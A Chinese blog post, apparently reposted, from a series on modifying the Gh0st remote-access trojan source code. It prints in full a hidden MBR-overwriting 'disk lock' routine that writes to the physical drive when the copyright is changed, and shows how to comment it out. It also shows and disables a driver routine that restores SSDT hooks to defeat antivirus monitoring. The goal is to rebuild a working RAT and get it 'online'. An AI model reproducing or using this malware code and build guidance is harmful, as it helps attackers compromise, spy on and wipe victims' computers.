Gh0st源码学习(二)去除硬盘锁和驱动
生活随笔
收集整理的這篇文章主要介紹了
Gh0st源码学习(二)去除硬盘锁和驱动
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
一、去除硬盤鎖
? GH0st硬盤鎖是源碼的作者為了保護版權而設置的,如果我們直接更改版權會造成硬盤被鎖
? 中了硬盤鎖的后果是非常嚴重的,特別是你電腦里有重要數據的時候,這樣會導致你電腦里的數據全部丟失!
?? 1、搜索 ?? unsigned char scode[] =
??? 位置:\Gh0st3.6原版\gh0st\gh0st.cpp(220):unsigned char scode[] =
????
| ?/* 硬盤鎖? 代碼位置 1 ? 開始位置?? / // CGh0stApp message handlers unsigned char scode[] = "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; int CGh0stApp::KillMBR() { ?? ?HANDLE hDevice; ?? ?DWORD dwBytesWritten, dwBytesReturned; ?? ?BYTE pMBR[512] = {0}; ?? ? ?? ?// 重新構造MBR ?? ?memcpy(pMBR, scode, sizeof(scode) - 1); ?? ?pMBR[510] = 0x55; ?? ?pMBR[511] = 0xAA; ?? ? ?? ?hDevice = CreateFile ?? ??? ?( ?? ??? ?"\\\\.\\PHYSICALDRIVE0", ?? ??? ?GENERIC_READ | GENERIC_WRITE, ?? ??? ?FILE_SHARE_READ | FILE_SHARE_WRITE, ?? ??? ?NULL, ?? ??? ?OPEN_EXISTING, ?? ??? ?0, ?? ??? ?NULL ?? ??? ?); ?? ?if (hDevice == INVALID_HANDLE_VALUE) ?? ??? ?return -1; ?? ?DeviceIoControl ?? ??? ?( ?? ??? ?hDevice,? ?? ??? ?FSCTL_LOCK_VOLUME,? ?? ??? ?NULL,? ?? ??? ?0,? ?? ??? ?NULL,? ?? ??? ?0,? ?? ??? ?&dwBytesReturned,? ?? ??? ?NULL ?? ??? ?); ?? ?// 寫入病毒內容 ?? ?WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); ?? ?DeviceIoControl ?? ??? ?( ?? ??? ?hDevice,? ?? ??? ?FSCTL_UNLOCK_VOLUME,? ?? ??? ?NULL,? ?? ??? ?0,? ?? ??? ?NULL,? ?? ??? ?0,? ?? ??? ?&dwBytesReturned,? ?? ??? ?NULL ?? ??? ?); ?? ?CloseHandle(hDevice); ?? ?ExitProcess(-1); ?? ?return 0; } ? 結束位置 */ |
?? 2、再搜索這個:
?? void CBuildView::OnActivateView(BOOL bActivate, CView* pActivateView, CView* pDeactiveView)
?? 位置:\Gh0st3.6原版\gh0st\BuildView.cpp(152):void CBuildView::OnActivateView(BOOL bActivate, CView* pActivateView, CView* pDeactiveView)?
??
| ?/*? 去除硬盤鎖 代碼位置 2 ? 開始處 ?? ??? ?OnEnableHttp(); ?? ??? ?char?? ?strVer[10]; ?? ??? ?char?? ?strTitle[10]; ?? ??? ?strVer[0] = 'C'; ?? ??? ?strVer[1] = '.'; ?? ??? ?strVer[2] = 'R'; ?? ??? ?strVer[3] = 'u'; ?? ??? ?strVer[4] = 'f'; ?? ??? ?strVer[5] = 'u'; ?? ??? ?strVer[6] = 's'; ?? ??? ?strVer[7] = ' '; ?? ??? ?strVer[8] = 'S'; ?? ??? ?strVer[9] = '\0'; ?? ??? ?strTitle[0] = 'G'; ?? ??? ?strTitle[1] = 'h'; ?? ??? ?strTitle[2] = '0'; ?? ??? ?strTitle[3] = 's'; ?? ??? ?strTitle[4] = 't'; ?? ??? ?strTitle[5] = ' '; ?? ??? ?strTitle[6] = 'R'; ?? ??? ?strTitle[7] = 'A'; ?? ??? ?strTitle[8] = 'T'; ?? ??? ?strTitle[9] = '\0'; ?? ??? ?CString str; ?? ??? ?GetDlgItemText(IDC_STATIC_VER, str); ?? ??? ?if (str.Find(strVer) == -1) ?? ??? ??? ?((CGh0stApp *)AfxGetApp())->KillMBR(); ?? ??? ?GetParent()->GetWindowText(str); ?? ??? ?if (str.Find(strTitle) == -1) ?? ??? ??? ?((CGh0stApp *)AfxGetApp())->KillMBR(); ?? ?結束處 ?? ?*/ |
?? 編譯成功!
二、去除驅動文件
現在利用驅動程序在ring0態恢復SSDT HOOK(鉤子),使部分安全軟件的主動防御和監控失效的功能已經被很多殺軟主動攔截或者驅動文件本身對于殺軟已經失效,所以我們得去除掉這個驅動文件了。去除sys文件無非就是把調用了這個功能的地方注釋掉就可以了,然后再去除sys的資源調用,就不會再加載驅動恢復SSDT了
1、先搜索ResetSSDT,然后把搜索到的全注釋掉 10處? 這里要從根文件夾搜索
1-5 處 位置: \Gh0st3.6原版\Server\install\install.cpp(439):bool ResetSSDT(HMODULE??? hModule)
| ?/* 去除驅動文件 代理位置 1-5/10 ? 開始位置? bool ResetSSDT(HMODULE?? ?hModule) { ?? ?typedef bool (__stdcall * LPResetSSDT)(); ?? ?bool?? ?bRet = true; ?? ?char?? ?strTmpPath[MAX_PATH]; ?? ?char?? ?strDllPath[MAX_PATH]; ?? ?GetTempPath(sizeof(strTmpPath), strTmpPath); ?? ?GetTempPath(sizeof(strDllPath), strDllPath); ?? ?wsprintf(strDllPath, "%s\\%d_ex.tmp", strTmpPath, GetTickCount()); ?? ?try ?? ?{ ?? ??? ?ReleaseResource(hModule, IDR_DLL, "BIN", strDllPath, NULL); ?? ??? ?HMODULE?? ?hDll = LoadLibrary(strDllPath); ?? ??? ?if (hDll == NULL) ?? ??? ?{ ?? ??? ??? ?throw ""; ?? ??? ?} ?? ??? ?LPResetSSDT?? ?ResetSSDT = (LPResetSSDT)GetProcAddress(hDll, "ResetSSDT"); ?? ??? ?if (ResetSSDT == NULL) ?? ??? ??? ?throw ""; ?? ??? ?ResetSSDT(); ?? ??? ?FreeLibrary(hDll); ?? ??? ??? ? ?? ?}catch(...) ?? ?{ ?? ??? ?bRet = false; ?? ??? ?DeleteFile(strDllPath); ?? ?} ?? ? ?? ?return bRet; } ? 結束位置 */ |
2、第 6/10處
\Server\install\install.cpp(581):??? ResetSSDT(hInstance);
| ?//? 除去 驅動文件 位置 6/10 //?? ?ResetSSDT(hInstance); |
3、\Gh0st3.6原版\Server\svchost\svchost.cpp(11):#include "common/resetssdt.h"
| ?//除去驅動代碼位置 7/10 //#include "common/resetssdt.h" |
4、\Gh0st3.6原版\Server\svchost\svchost.cpp(24):extern "C" __declspec(dllexport) bool ResetSSDT();
| ?//除去驅動代碼位置 8/10 //extern "C" __declspec(dllexport) bool ResetSSDT(); |
| ?//除去驅動代碼位置 9/10 //?? ??? ?ResetSSDT(); |
| ?//除去驅動代碼位置 10/10 /* extern "C" __declspec(dllexport) bool ResetSSDT() { ?? ?return RestoreSSDT(CKeyboardManager::g_hInstance); } */ |
搜這句話? IDR_SYS?
位置 :\Gh0st3.6原版\Server\svchost\svchost.rc(29):IDR_SYS???????????????? BIN???? DISCARDABLE???? "..\\sys\\RESSDT.sys"
| ?//注釋? 驅動 資源文件 //IDR_SYS???????????????? BIN???? DISCARDABLE???? "..\\sys\\RESSDT.sys" |
8、在文件夾中的工程 中? 搜索:resetssdt.h
刪除!
最后就是再編譯一次!!!
清除垃圾文件!
測試上線! 目錄中多一個BIN目錄,中就Gh0st的運行程序
總結
以上是生活随笔為你收集整理的Gh0st源码学习(二)去除硬盘锁和驱动的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Gh0st源码学习(一)前期准备工作
- 下一篇: Gh0st源码学习(三)生成DLL和DA